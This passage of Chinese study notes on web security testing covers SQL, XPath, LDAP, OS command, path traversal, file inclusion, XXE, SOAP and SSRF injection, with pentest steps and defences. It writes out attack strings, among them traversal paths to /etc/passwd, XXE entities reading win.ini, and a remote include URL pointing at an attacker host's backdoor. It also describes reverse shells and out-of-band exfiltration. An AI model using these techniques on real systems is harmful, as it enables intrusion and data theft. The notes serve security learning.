  • 如果要在字符串中使用 + ,则需要使用 %2b 对其编码;例如:1+1 应以 1%2b1 进行提交;
  • 分号用于分隔 cookie 字段,需要使用 %3b 对其编码;

注入查询结构

在 SQL 语句中,有一些关键字,例如:ORDER BY, WHERE 等,这些关键字跟着一些列名,来达到预期的目标;而这些列名在有些应用程序中是由客户端提交的数据来指定的;

渗透测试步骤

  • 记下任何可能控制应用程序返回的结果的顺序,或者结果的类型的参数;
  • 提交一系列在参数值中使用数字值的请求,从数字1开始,然后逐个请求递增;
    • 如果更改的数字会影响结果的顺序,则说明输入很可能被用于 ORDER BY 子句中,因为在 ORDER BY 之后的数字,表示按第几列进行排序;如果数字超过了总列数,则查询会失败;在数字后面使用 ASC – 或者 DESC – 来观察返回的结果是否顺序会变化;
    • 如果提交的数字 1 生成一组结果,其中有一列都包含该数字,则表示该数字被用于插入到返回的结果的某一列中;即 SELECT 1, title, year FROM books WHERE publisher=’Willy’

虽然在 ORDER BY 之后接的是列名称,因此不能再注入 UNION, WHERE, OR, AND 等关键字,但可以指定一个嵌套查询来实现注入;

“指纹” 识别数据库

根据数据库使用哪种连接符,可以判断其使用的哪一种数据库;将原本某个正常的字符串参数,改成由连接符连接的格式,看服务端能否正常返回结果;

对于数字格式的参数,使用以下攻击字符串来识别,它在匹配的数字库中表示 0,在不匹配的数据库中则会出现错误;

MySQL 在处理行内注释时,有一个特点,当行内注释以感叹号 !开头时,表示进行版本号的判断,如果当前数据库的版本号大于等于注释中的版本号,则注释中的内容会被解析和执行;因此可以利用这一点,插入相应的语句,来识别数据库的版本,例如:

UNION 操作符

SQL 使用 UNION 将两个或多个的 SELECT 语句的查询结果合并起来;如果一个 SELECT 语句出现漏洞,意味着可以使用 UNION 来执行另一次完全独立的查询,并将其结果和第一次的查询结果组合到一起;

但是 UNION 也有一些限制:

  • 查询结果的列数需要是相同的;每列的数据类型需要是兼容的;
  • 需要知道另一个表的名称和列的名称;

渗透测试步骤

  • 先查明所需的列数;利用 NULL 被转换为任何数据类型的这一特点,逐个增加 NULL 直到查询被执行;
  • 第二项任务是找到一个数据类型为字符串的列,使用 ‘a’ 逐个取代一个 NULL,如果查询得到执行,将看到另一行包含 a 值的数据,然后可以使用相关列从数据库中提取数据;

提取有用的数据

想获得有用的数据,需要知道列的名称;而列的名称经常保存在数据库元数据的表中(例如 MS-SQL 中的 information_schema.columns),通过查询该表来获得表和列的名称;

使用 UNION 提取数据

  • 使用 NULL 找到列数;
  • 查找元数据表,得到表名称和列名称;
  • 开始提取数据

避开过滤

避免使用被阻止的字符

  • 使用 SQL 的内置函数来动态构建字符串,
  • 如果注释符号被净化,可以设计为真的表达式;

避免使用简单确认

有时候应用程序使用黑名单来净化,则是可以将注入的数据用复杂一些的表达式,例如:

使用 SQL 注释

SQL 允许在行内插入注释,这意味着可以利用这个特性来避开净化,或者冒充空格;

利用有缺陷的过滤

应用程序有可能没有使用递归的方式来过滤,因此可以增加一个外层骗过它;

二阶 SQL 注入

有些应用程序允许用户的输入项中包含特殊的字符,当输入到达服务端时,应用程序会对其进行转义,这会导致注入失去效果;但是此时存在一些微妙的问题,存入数据库的特殊字符被转义了,但当下次它被查询并取出来的时候,有可能没有适当处理,然后可能再次帮为参数参加其他的 SQL 查询,此时将触发一个漏洞;

原理:将 SQL 注入语句先做为正常值存起来,然后再调用查询的命令将把它取出来,从而触发注入;

高级利用

有些攻击者不一定使用注入来获取数据,它甚至有时候用来破坏数据库;

获取数字数据

可利用 ASCII 和 SUBSTRING 两个函数将字符转成数字;这样如果想得到一串数字,可以用字符串转化并拼接出来;

使用带外通道

虽然有时候可以实现注入查询,但是查询的结果却不一定被应用程序返回给浏览器,但是可以利用数据库的内置功能,让它与攻击者设立的目标数据库建立连接,将查询结果传输到攻击者创建的数据库;

  • MS-SQL 的 openrowset 功能;
  • Oracle 的各种包,包括 UTL_HTTP 、UTL_INADDR、UTL_SMTP、UTL_TCP;
  • MySQL 的 INTO OUTFIL 命令可以将结果写入一个文件,通过在两台计算之间建立 SMB 共享,可以实现文件的匿名写入;

另外通过提升数据库权限,还可以利用操作系统的功能来和外部建立连接以传送数据;

使用推论:条件式响应

由于防火墙的关系,有时候带外通道并一定能够成功;此时还有另外一种比较费劲的办法,即通过设置不同的查询条件,应用程序会出现不一样的行业,来判断自己所猜测的信息是否是命中了;例如让数据库报错,此时应用程序有可能会返回 500 的错误,从而得到反馈;

SELECT X FROM Y WHERE C,当条件 C 满足时,才会求 X 表达式的值,如果 C 不满足,则不会触发 X 表达式的计算;此时,我们可以设置 X 表达式为一个求值会报错的表达式,例如进行除零云计算,这样我们就可以在 C 中放置我们想探查的信息,如果查询成功,就会触发报错;如果查询失败,则不会触发报错;

我们可以逐个字节的探查猜测是否正确,例如对于字符串类型的用户名,我们可以探查第一个字母是否为 A,如果不是就看是否为 B,以此类推;当猜测出来后,再开始探查第二个字母,不断循环;使用这种方法可以探查数据库中的每一条记录;

使用时间延迟

猜测的依据除了建立在应用程序是否报错的基础上,也可以建立在应用程序的响应时间上;例如不同数据库有内置不同的延迟命令,可以调取这个命令来制造时间延迟;有些数据库没有时间延迟函数,这时可以让它作一次密集运算,或者让它连接一个不存在的服务器来增加延迟;

SQL 注入之外:扩大数据库攻击范围

除了应用程序外,数据库本身也是存在漏洞的;因此,除了攻击应用程序本身,还可以通过攻击数据库服务器来达到相同的目的;

MS-SQL

MS-SQL 有一个内置的 xp__cmdshell 功能,可以使用数据库账户执行系统级的命令,中,虽然默认情况下,该功能是关闭的,但是如果应用程序的账户拥有足够大的权限,则它可以通过开启这项功能,然后利用它来完全控制数据库服务器的操作系统;

Oracle

Oracle 的漏洞更多,只要通过实现 SQL 注入,就大概率可以利用其漏洞控制整个数据库;

MySQL

与前面两个数据库相比,MySQL 中可用攻击者利用的内置功能相对比较少;MySQL 允许读取或写入文件到文件系统中;因此如果数据库账户拥有 FILE_PRIV 权限,则可以打开相关文件访问数据库中的任何数据;

另外 MySQL 允许用户打开动态库文件,因此攻击者可提前创建一个能够实现自己目的的二进制文件,然后通过 MySQL 去读取它,间接实现命令的执行;

使用 SQL 注入工具

探测 SQL 注入漏洞的过程需要提交大量的请求,目前已经有这方面的自动化工具,但这些工具还没有达到智能化的程度,在使用前,需要攻击者做一些设置,才能够更有效的提高攻击效率和成功率;

SQL 语法与错误参考

SQL 语法

不同的数据库语法之间有一些差别,因此需要因地制宜,使用匹配后端数据库的语法;

SQL 错误消息

不同的数据库其报错的消息格式和内容也不一样,并且这些报错消息意味着不同的漏洞可能性;

防止 SQL 注入

部分有效的防御措施

  • 对用户输入的所有单引号进行配对;
  • 使用存储过程;

参数化查询

  • 指定查询结构,预留占位符;
  • 指定每个占位符的内容;

深层防御

  • 当应用程序访问数据库时,应尽量采用最低权限的账户;
  • 尽量删除或禁用数据库的那些不必要的功能;内置功能越强大越多,漏洞也越多;
  • 及时安装数据库软件的补丁;

注入 NoSQL

NoSQL 虽然是非关系型数据库的统称,但是其实涵盖很多种类型的数据库,每一种数据库的使用方式都完全不同,因此针对不同的 NoSQL 数据库需要使用不同的攻击方法;

作者在写作这本书的时候,这方面的研究才刚开始,但现在这个阶段估计应该有一些成功的办法了;

注入 XPath

XPath 是一个处理 XML 文档的工具,用来从 XML 文档中读取或写入数据;但是 XML 并不是保存应用程序数据的传统方式,它一般用来保存一些配置类型的数据为主,或一些简单的信息,例如角色、权限等;

XPath 注入的方式跟 SQL 差不多,例如都同样可以使用条件判断逐个字节的获得信息;XPath 同样也有一些内置的函数可供利用;

有时候我们并不知道后面是否使用 XPath,但如果发现某个 SQL 漏洞,但却无法加以利用,则应考虑一下 XPath 的可能;

注入 LDAP

LDAP 是 lightweight directory access protocol 的简称,表示轻量级的访问协议,它用来提供访问网络中的目录;

LDAP 使用一些逻辑运算符来做条件判断;由于它独特的语法形式,常规的 SQL 注入技巧在 LDAP 并不适用;通常来说, LDAP 的注入难度更大一些;不过如果结合其语法来提交输入,也是存在注入的可能;

LDAP 在处理 NULL 字节方面存在漏洞,该单词在 LDAP 表示字符串终止;攻击者可以利用这个漏洞,达到和 SQL 的注释符相同的效果;

小结

本章提到的攻击方式只是注入攻击的冰山一角,如果攻击者利用这类漏洞,将能够在服务器的操作系统上执行命令、检查任意文件,即利用应用程序的漏洞攻破并控制为应用程序提供环境的组件;

10. 攻击后端组件

一般来说,很多 Web 应用程序被作为后端服务的中间层,客户端通过访问这个中间层,间接实现对服务器上其他底层组件(例如文件系统)和进程的访问;虽然 Web 应用程序本身设置了安全机制,但是对于应用程序来说安全的数据,有可能对于底层组件来说并不是安全的。攻击者有可能利用该漏洞,绕过应用程序的检查,实现对底层组件的调用和控制;

注入操作系统命令

有些应用程序会基于用户的输入,生成相应的命令,发送给操作系统执行,这将可能被攻击者利用的漏洞,因为可以设计专门的输入,修改开发者想要执行的命令;这类漏洞特别经常出现在为内部人员提供管理服务器的界面的应用程序中,因为这类管理需求需要直接跟操作系统打交道;

有些命令使用的是字符串拼接的方式,然后发给脚本语言本身提供的系统调用函数来执行;有些脚本语言使用 eval 函数将字符串解析为待执行的代码;

查找 OS 命令注入漏洞

不同的 shell 解释器有不同的字符处理方式,应用程序调用的 shell 有很多种可能性,因此需要先想方法对假设进行验证;

可在原命令中注入新命令的字符:

  • ; | & 等三个字符可用于将几个命令连接起来;而且在不同的 shell 解释器中,成对使用它们可达到不同的效果;
  • 反引号 ` 可用于将一个独立的命令包含在最初命令处理的数据中;例如把一个注入命令放在反引号中,shell 就会先执行该命令,然后用执行的结果代替被反引号包含的文本,然后执行替代后的新命令字符串;

注入命令的一个常见问题是执行的结果并不会返回,因此并不知道注入是否成功,但是只要漏洞存在,就会有一些探查的方法,例如通过时间延迟来判断;

渗透测试步骤

  • 通过 ping 及其时间参数,让操作系统在接下来的一段时间访问本地的回环接口(即 127.0.0.1)来制作延迟;
  • 如果发生时间延迟,则说明漏洞有可能存在;接下来可以通过命令选项 -i 或 -n 逐渐递增间隔或次数,观察延迟的时间是否跟着增加;如果是的话,说明漏洞很大可能存在,同时也可以排除延迟是因为网络造成的;
  • 使用可成功实施攻击的注入字符串,尝试注入更有用的命令(例如 ls 或 dir),看是否能够将命令结果返回到浏览器上;
  • 如果无法将结果返回给浏览器,则可以尝试建立带外通道
    • 例如使用 TFTP 将工具上传到服务器,使用 telnet 或 netcat 建立一个和自己的计算相连接的反向 shell,然后使用 mail 命令通过 SMTP 发送命令执行结果;
    • 可以将命令的结果重定向的某个可以公开访问的静态资源文件夹,然后通过浏览器访问它;
  • 一量找到注入命令的方法并能够获得命令执行结果,接下来应当确定自己的权限(例如使用 whoami 命令,或者尝试给某个写保护的文件夹写入一个无害的文件);确定权限后,就设法提升自己的权限,或者借由该服务器攻击其他主机;

有时候应用程序会过滤掉某些符号和字符,导致无法注入独立的系统命令;尽管如此,攻击者仍然有机会破坏开发者设定的命令行为;例如通过故意提供错误的输入,让命令报错,并将错误重定向到某个可执行文件中;而攻击者提供的错误输入,可能故意夹杂着可执行代码;随后通过浏览器访问可执行文件,执行混入的代码;

  • < 和 > 两个符号可以用来重定向,当不能执行独立的命令时,如果这两个符号可用,则可以利用它们来读取或写入任意的文件内容;
  • 操作系统的命令通常支持大量的参数,参数之间同样使用空格间隔;如果应用程序基于用户的输入来生成这些参数,则可以通过在参数中混入空格,然后提供额外的参数,实现攻击效果,例如利用 -O 参数将内容写入任意的文件;

有时应用程序会过滤空格,此时可以通过调用包含空格符字段的环境变量 $IFS 来实现空格的效果;

查找动态执行漏洞

动态执行漏洞常见于 PHP 和 Perl 等语言;但绝大多数应用程序平台都可能向基于脚本的解释器传送用户提供的输入;

渗透测试步骤

  • 理论上用户提供的任何数据都可以提交给动态执行函数;其中最常见的数据项是是cookie 名称和参数值;
  • 尝试轮流向目标参数提交下列值,观察它们的返回结果
    • ;echo%20111111
    • echo%20111111
    • response.write%20111111
    • :response.write%20111111
  • 如果字符串 111111 被单独返回,说明该字符串前面没有其他字符串,因此该处可能存在注入漏洞;
  • 如果字符串 111111 未被返回,说明存在其他字符串,此时应寻找输入被动态执行的错误消息;根据需要对语法进行调整,以实现注入任意的命令;
  • 如果攻击的应用程序是 PHP,可以使用测试字符串 phpinfo();如果它被成功执行,会返回 PHP 的配置信息;
  • 如果应用程序可能存在注入漏洞,则同样可以通过制造延迟的方法来确认漏洞的存在,例如:system(‘ping%20127.0.0.1’)

防止 OS 命令注入

防止 OS 命令注入的最好办法是一劳永逸的避免在程序中直接调用操作系统的命令,而是改由调用内置的 API 来实现;如果实在无法做到,则应该对用户的输入进行严格的控制,例如增加一份白名单,限制长度,并只需要字母和数字,不得包含任何的符号;

应用程序应尽量使用内置的 API 的名称和参数来启动目标进程,而不是直接向 shell 解释器传递命令字符串,这样可以利用内置 API 的检查机制来增加额外的保护;

防止脚本注入漏洞

最佳方法是避免将任何用户提供的输入,直接传给任何动态执行函数;如果无法做到,则应该建立严格的白名单;

操作文件路径

有些 Web 应用程序提供某个功能,该功能支持接受用户输入的一个文件名或者路径名,然后应用程序调用系统的 API 查找或读取该文件或目录;如果没有对用户提交的输入进行严格的检查,就有可能存在注入的漏洞;

路径遍历漏洞

有些 Web 应用程序根据客户端提交的文件名,通过拼接路径的方式,读取并返回服务器上存储的静态文件(或者是将数据写入到服务器上面);攻击者可以在文件名参数中加入 .. (点点)符号,来遍历整个文件树,读取甚至修改一些敏感信息,从而获得整个服务器的控制权;

虽然这种漏洞形式被广泛应用,常见的 Web 应用框架会采取一些防御措施,例如对客户端的输入进行过滤;但是这仍然无法阻止技术熟练的攻击者。

查找和利用路径遍历漏洞

确定攻击目标

在对应用程序分析的步骤中,一般就需要确定潜在的攻击面,主要用于文件的上传和下载的功能(例如可共享文档的应用程序、允许用户上传图像的博客、商品信息上传的拍卖平台、为用户提供电子书、技术手册、公司报表等信息型应用程序);这些功能都有一个特征,即需要跟文件系统进行交互;

渗透测试步骤

  • 在解析应用程序功能的过程中,留意在请求参数中带有文件名或目录名的情形,例如 include=main.inc 或者 template=/en/sidebar;或者需要从服务端的文件系统中读取数据的功能,例如显示和下载图像;
  • 在测试其他漏洞的过程中,留意一些反常事件或者有益的错误消息,看看是否有可能是因为用户提交的数据被传递给文件系统的 API 或者作为操作系统命令的参数;
探查路径遍历漏洞

当找到潜在的攻击目标后,设法确定漏洞是否存在,例如可以提交一个不会回溯到起始目录的遍历序列,例如将 file=foo/file.txt 参数修改为 file=foo/bar/../file1.txt;

  • 如果服务端返回相同的结果,则说明漏洞很可能存在;
  • 如果返回结果不同,则说明应用程序有对输入进行一定的过滤处理;此时需要找到过滤的规则,看是否有可能绕过它;

如果发现漏洞可能存在,则尝试遍历出起始目录,例如可提交参数:

1
2
../../../../../../n.ini
# 注:此处 ../ 的数量需要反复试验

如果幸运的话,有可能得到如下结果:

如果所攻击的功能拥有文件的写入权限,则可能不好确定该功能是否存在漏洞;因此需要确定一下写入的权限具体有多大;确定的办法是写两个文件:一个是任意用户均可实现写入的文件,另一个是即使根用户或者管理员也无法写入的文件;如果两次请求之间,应用程序表现出差异,则说明漏洞存在;

关于文件路径的分隔符,Win 平台同时支持斜杠和反斜杠,但是 Unix 平台则只运行斜杠,因此最好二者都进行测试,以便能够覆盖并确认服务端使用的是哪种平台,或者哪种平台组件来

避开遍历攻击障碍
  • 应用程序可能只过滤一种序列,因此应同时尝试斜杠和反斜杠,因为文件系统两种格式都支持;
  • 对遍历序列进行 URL 编码,例如点使用 %2e,斜杠使用 %2f,反斜杠使用 %5c
  • 尝试使用 16 位的 Unicode 编码,例如点使用 %u002e,斜杠使用 %u2215,反斜杠使用 %u2216
  • 尝试使用双倍 URL 编码,例如点使用 &252e,斜杠使用 &252f,反斜杠使用 %255c
  • 尝试使用超长 UTF-8 编码,例如点使用 %c0%2e, %e0%40%ae, %c0ae;斜杠使用 %c0%af, %e0%80%cf, %c0%2f;反斜杠使用 %c0%5c, %c0%80%5c 等;
  • 有很多字符可以使用非法的 Unicode 表示法来表示,它们被许多 Unicode 解码器识别并接受,尤其是 Windows 平台上面的解码器;
  • 服务端正常应使用递归来净化客户端提交的输入,但有可能应用程序没有这么做,此时可以输入双序列,这样被过滤掉一个,仍然可以剩下一个发挥作用,例如: …. //
指定后缀

服务端有时使用指定后缀的方式来检查客户端提交的请求,渗透测试步骤:

  • 在文件名和合法后缀之间放入一个使用 URL 编码的空字符,例如 “../../../../boot.ini%00.jpg”;该方法能够生效的原因在于进行文件名检查的执行环境,和最终查找获取文件的环境不同,前者认为合法的字符串,到了获取环境变成了另外一种意思;
  • 有些应用程序会只使用请求中的文件名,不包括后缀,然后自行在代码逻辑中添加后缀,这种情况下,前述的方式仍然可以起作用;
  • 有些应用程序会检查文件名的开头是否是一个合法的目录,这种情况只需要配套使用双点即可避免检查,例如:filestore/../../../../etc/passwc;
  • 如果以上针对输入过滤的渗透都无法成功,则应用程序可能实施了多加复合的过滤方式,此时可以先从一个可以成功的请求做为起点,例如 foo.jpg,然后请求 bar/../foo.jpg 如果失败的话,则尝试所有可能的遍历序列方式,直到该请求获得成功为止;如果仍然还是不行,则尝试请求 foo.jpg%00.jpg,看是否能够避开过滤;彻底检查应用程序的默认目录,了解它使用的所有过滤方式,然后针对这些过滤方式设计避开的技巧;
处理定制编码

有些应用程序会对用户上传文件的文件名使用某种编码方案后,再返回编码后的名称做为访问该文件的 URL 地址;因此,可以利用该编码方案是否对路径进行规范化的漏洞来尝试获取想要的文件;

  • 先通过简单的文件名,测试编码方案,例如上传文件 test.txt,看它编码后的结果,例如为 zM1YTU4NTY2Y;
  • 再尝试上传文件 foo/../test.txt,看它编码后的结果是否仍为上一步的结果,还是长度有变化,如果有变化,则意味着应用程序没有对路径进行规范化,因此有漏洞;
  • 尝试提交 ../../../.././etc/passwd/../../tmp/foo,它规范化的形式为 /tmp/foo,得到它的编码结果,然后截短它,以便得到路径的前半部分,这样就可以用来获取 /etc/passwd 文件;(此处需要留意编码对齐问题,因为类似 Base64 的编码方案是以三个字符为单位的,因此需要在路径中添加合适数量的点号来凑齐字符单位要求,同时不影响结果);
利用遍历漏洞

当发现一个路径遍历漏洞后,通常攻击在服务器上将拥有和应用程序相同的读写权限;该漏洞可以用来做如下事情:

  • 获取操作系统与应用程序的密码文件;
  • 获取服务器和应用程序的配置文件(可用来发现其他漏洞或优化其他攻击);
  • 可能获取数据库证书文件;
  • 应用程序的数据源,例如 MySQL 数据库文件或 XML 文件;
  • 服务器可执行页面的源代码(可用来做代码审查,搜索代码中的其他漏洞);
  • 可能包含用户名和会话令牌的应用程序日志文件;

如果发现一个可写入任意的漏洞,则可以利用它在服务器上执行任意命令;

  • 在用户的启动文件夹中创建脚本;
  • 当用户下一次连接时,修改 in.ftpd 等文件执行任意命令;
  • 向一个拥有执行权限的 Web 目录写入脚本,然后通过浏览器访问它们,触发脚本的执行;

防止路径遍历漏洞

避免向文件系统传递任何用户提交的数据,是防御路径遍历漏洞的最好办法;如果必须允许用户指定上传文件的名称,则需要设置多重的防御组合:

  • 在对用户提交的文件名进行解码和规范化后,应检查文件名中是否包含路径遍历序列(例如斜杠和反斜杠)和空字节;如果有的话,则判定为恶意请求并停止处理,不得尝试对其进行净化;
  • 应用使用应使用一个硬编码的可访问文件类型的列表,并拒绝访问其他类型文件的请求;
  • 在进行过滤后,应用程序应检查文件是否位于指定的目录中(例如使用 get_full_path 之类的方法,获取文件的绝对路径,然后进行检查);如果发现不在指定目录,则停止处理请求;
  • 应用程序可使用 chrooted 文件系统来包含被访问文件的目录,该目录会自动忽略尝试向上遍历的请求(大多数 Linux 版本都支持 chrooted 文件系统);
  • 应用程序应将路径遍历攻击和日志及警报机制融合在一起,任何时候,只要收到一个非法请求,就发出警报,终止该用户的会话,冻结该账户,并通知管理员;

文件包含漏洞

有些脚本语言允许使用类似 include 的命令,来将某段代码插入到某个指定的位置,然后执行它们;

远程文件包含

PHP 语言特别容易出现文件包含漏洞,因为它的包含函数接受远程文件路径,这种缺陷j是 PHP 出现了大量漏洞的根源;

1
2
3
4
# 应用程序接一个位置参数,然后根据该参数调用相应的 php 文件,执行其中的代码
# 请求地址:https://whatever-app.com/main.php?country=US
$country = $_GET['country'];
include( $country . '.php');

由于 PHP 支持外部路径,因此攻击者可以通过传入一个远程 php 文件路径,让应用程序执行攻击想要执行的任意代码;

1
# https://whatever-app.com/main.php?country=http://attacker-app.com/backdoor

本地文件包含

有些应用程序根据用户的输入,加载并执行某个本地文件,则用户可以利用这个漏洞

  • 让应用程序执行某个本应授权访问才能实现的功能;
  • 访问服务上某些受保护的静态资源:通过将这些文件动态包含到应用程序的页面中,让执行环境将静态内容复制到响应中;

查找文件包含漏洞

任何用户提交的数据项都可能产生文件包含漏洞,常常出现于由用户提交参数指定国家语言或者地理位置、由用户提交参数指定服务器的文件名;

远程文件包含的渗透测试步骤:

  • 向每一个目标参数提交一个连接受控制的 Web 服务器资源的 URL,然后监控受控制的服务器是否受到应用程序的请求;
  • 尝试提交一个包含不存在的 IP 地址的 URL,看应用程序是否出现请求超时,如果是,说明应用程序尝试和该 IP 地址建立连接;
  • 如果发现应用程序可受到远程文件包含攻击,则使用相关语言可用的 API,构建一段恶意脚本实施攻击;

本地文件包含的渗透测试步骤:

  • 提交一个请求,指向服务器上一个已知可执行资源的名称,看应用程序的行为是否出现变化;
  • 提交一个请求,指向服务器上一个已知静态资源的名称,看文件内容是否包含在响应中;
  • 如果应用程序可受到本地包含文件攻击,则尝试通过 Web 服务器访问任何原本无法直接访问的敏感功能或资源;
  • 尝试能够利用遍历技巧访问其他目录中的文件;

注入 XML 解释器

注入 XML 外部实体

标准的 XML 解析库支持使用实体引用,目的是用来在 XML 内部或外部引用数据;

1
2
<!---内部实体在头部定义,以下定义在解析时,会将 testref 替代为指定的 testrefvalue --->
<!DOCTYPE foo [ <!ENTITY testref "testrefvalue" > ]>

XML 还支持引用外部实体,该外部实体可用 URL 来指定,届时解析时会访问该 URL,提取其中的值,替换 XML 内部的符号;

1
2
3
<!---外部实体使用 SYSTEM 关键字来指定,引用时可使用 file 协议(本地文件)或者 http 协议(远程文件);解析时,将会使用 win.ini 的内容来替代 xxe 字符串,攻击者间接获得 win.ini 的文件内容 --->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///windows/win.ini" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

http 协议不仅可以用来获取传统意义上的远程服务,其实也可以访问其内网或者本地的其他进程服务;

1
2
3
<!---获取本地局域网 192.168.1.1 的 25 端口上的邮件服务器--->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.1.1:25" > ]>
<Search><SearchTerm>&xxe;</SearchTerm></Search>

通过 http 请求,可发起以下攻击:

  • 可将应用程序变成一个代理服务器,获得该应用程序能够访问的各种敏感内容,包括其内部局域网地址中的内容;
  • 攻击某些应用程序中可通过 URL 进行访问的漏洞;
  • 通过遍历 IP 地址和端口号,测试后端系统哪些端口是开放的;如果该端口有开放,一般在响应时间上有差异;有时候还会在响应中包含端口服务的标题;

注入 SOAP

SOAP 的全称是 simple object access protocol,指简单对象访问协议;它使用 XML 标准来封装消息,并在 Web 应用程序的不同模块之间传递这些消息;另外有些大型企业应用也使用 SOAP 在不同计算机之间传递消息,以协同完成某个任务;

XML 令人蛋疼的地方在于它是一种解释型语言,有自己的语法格式,因此,可以通过它的语法,改变数据本身的意义

假设某个转账的原始请求为

FromAccount=18281008&Amount=1000&ToAccount=08447656&Submit=Submit

在处理这个请求时,在 Web 应用程序的后端之间,使用 SOAP 封装的消息,此时请求被转换成如下格式

1
2
3
4
5
6
7
8
9
10
11
12
<soap:Envelope>
<soap:Body>
<pre:Add>
<Account>
<AccountFrom>18281008</AccountFrom>
<Amount>1000</Amount>
<ClearFunds>False</ClearFunds>
<ToAccount>08447656</ToAccount>
</Account>
</pre:Add>
</soap:Body>
</soap:Envelope>

由于转出账户的余额不足,因此字段 ClearFunds 的值为 False,组件之间传递这条消息的目的是记录这笔交易请求,但同时并不真正转出金额,而是标记为转账失败;攻击者可以通过在原始请求中混入符合 XML 语法的字符,来改变消息的意义;

原始请求更改为:

FromAccount=18281008&Amount=1000True1000&ToAccount=08447656&Submit=Submit

服务器在收到该请求后,如果没有对它进行净化和过滤,最终将解析成如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<soap:Envelope>
<soap:Body>
<pre:Add>
<Account>
<AccountFrom>18281008</AccountFrom>
<Amount>1000</Amount>
<ClearFunds>True</ClearFunds>
<Amount>1000</Amount>
<ClearFunds>False</ClearFunds>
<ToAccount>08447656</ToAccount>
</Account>
</pre:Add>
</soap:Body>
</soap:Envelope>

此时应用程序的某个组件在处理该消息时,由于遇到的第一个 ClearFunds 字段的值是 True,因此有可能在账户余额不足的情况下,触发转账行为;

另外还可以通过注入注释,让某些 XML 字段失效,并用攻击者自己的元素替换被注释掉的元素;

原始请求设计为:

FromAccount=18281008&Amount=1000True08447656&Submit=Submit

服务端解析结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<soap:Envelope>
<soap:Body>
<pre:Add>
<Account>
<AccountFrom>18281008</AccountFrom>
<Amount>1000</Amount>
<ClearFunds>True</ClearFunds><ToAccount><!--
<ClearFundres>False</ClearedFunds>
<ToAccount>-->08447656</ToAccount>
</Account>
</pre:Add>
</soap:Body>
</soap:Envelope>

请求的设计,让某部分 XML 字段被注释掉之后,仍然能够保持整体格式的合法性;

查找并利用 SOAP 注入

SOAP 注入漏洞可能不容易发现,主要是任意提交注入标签,会破坏 SOAP 的消息格式,而且只是因为格式错误而返回的错误提示也非常简单,并没有什么利用价值;

渗透测试步骤

  • 轮流在每个参数中提交一个恶意 XML 结束标签,例如 </foo>, 如果没有发生错误,说明输入要么没有插入到 SOAP 消息中,或者输入可能被净化了;
  • 如果出现错误,再提交一对有效的起始与结束标签,例如 <foo></foo>,如果错误消失了,则说明 SOAP 漏洞很可能存在;
  • 查看提交的数据是否会在响应中返回,如果会的话,查看数据是原封不动的返回,还是以某种方式规范化了;轮流提交以下两个值,”test<foo/>“ 和 “test<foo></foo>“,如果返回的结果是 test,或者是另外一个值,则说明插入成功;
  • 如果 HTTP 请求中包括多个参数,由于不知道这些参数在后端的生成顺序,因此,可以轮流在一个参数中插入注释字符串 “<!–”,然后在另外一个参数中注入 “–>“,看是否能够将 SOAP 消息的某个部分注释掉,从而破坏应用程序的逻辑,此时有可能造成非预期内的处理结果;

SOAP 注入漏洞要能够利用成功,前提条件是知道整个 XML 的结构,这样才有办法设计专门的注入值,以便能够改变解析的结果;如果返回的错误消息不能提供这方面的信息的话,则漏洞就会很难发现;幸运的话,有可能返回的错误消息中会包含整个解析的结果,从而泄露了结构;运气不好的话,则攻击率会变得很低;

防止 SOAP 注入

防止 SOAP 注入的办法是对用户的输入进行边界确认,不仅包含确认用户的当前输入,还包括用户前面步骤的输入,或者应用程序基于用户输入在过程中产生的数据;

为了防止攻击,应用程序应对用户输入中出现的任何 XML 元字符进行 HTML 编码,用 HTML 编码替代用户输入中的字面值;这样做的目的是让 XML 解析器不会将用户输入中的 XML 元字符当作有意义的语义的组成部分;几个会造成注入漏洞的 XML 元字符为:

  • 左尖括号 <,应编码为 &1t
  • 右尖括号 >,应编码为 &gt
  • 斜杠 /,应编码为 &#47

注入后端 HTTP 请求

应用程序经常会将用户输入弄成键值对的形式,嵌入到后端发起的 HTTP 请求中,因此攻击者可以利用这方面的漏洞将应用程序做为代理器,来访问一些本来没有权限访问的资源,例如:

  • 服务器端 HTTP 重定向:攻击者通过注入参数到后端发起的请求中,指定应用程序请求任意的资源或 URL;
  • HTTP 参数注入(HPI):攻击者通过注入参数,覆盖应用程序发出的请求的指令,改变其行为逻辑和结果;

服务器端 HTTP 重定向

应用程序向客户端提供的功能有时并不是由应用程序本身来完成的,而是后端有部署其他组件来提供相应的功能,因此应用程序经常需要将用户的输入,转换成相应的参数,向后端组件发起相应的请求;

示例:以下由客户端发出的请求中,loc 参数指定了要获取的 CSS 文件的地址

1
view=default&loc=online.wahh-blogs.net/css/wahh.css

攻击者可以通过替换 loc 参数的值,来让应用程序向其指定的地址发起资源请求,如果应用程序没有对此进行确认和过滤,则攻击者可以将地址设置为后端服务器可以访问的任意资源;

示例:攻击者将地址替换为后端的 SSH 服务

1
2
3
4
5
6
7
8
# 请求,loc 参数值被替换
view=default&loc=192.168.0.1:22

# 响应,包括了 SSH 服务的信息
HTTP/1.1 200 OK
Connection: close

SSH-2.0-OpenSSH_4.2Protocol mismatch.

攻击者可以利用该漏洞,让应用程序成为一个开放的代理服务器,来实施各种其他攻击

  • 攻击者可以将该代理服务器用于攻击互联网上的第三方系统;
  • 攻击者可以通过该服务器连接到组织内部网络中的任意主机,从而访问无法通过因特网直接访问的资源或服务;
  • 攻击者可以利用该服务器反向连接到应用程序服务器上的其他服务,从而避开防火墙限制,并利用信任关系来避开身份验证;
  • 攻击者可以让应用程序在响应中包括受控的内容,从而实施跨站点脚本等攻击;

渗透测试步骤

  1. 确定任何可能包含主机名、IP 地址或完整 URL 的请求参数;
  2. 对于每个参数,修改参数值,指向其他与所请求的资源类似的资源,观察该资源是否会出现在服务器的响应中;
  3. 尝试指定一个受控的 URL,然后监控在请求发出后,该 URL 是否被访问;
  4. 如果 URL 没有被连接,则观察请求的响应时间,如果时间很久,则有可能是因为某种访问规则的限制,导致应用程序的请求发不出去,导致超时;
  5. 如果能够成功发现漏洞,连接到任意的 URL,则可以尝试实施以下攻击:
    1. 确认是否可以指定端口号,例如:http://mdattacker.net:22
    2. 如果可以指定端口号,尝试使用类似 Burp Intruder 等工具对内部网络的端口进行扫描,以逐个连接到一系列 IP 地址和端口;
    3. 尝试连接到应用程序服务器回环地址上的其他服务;
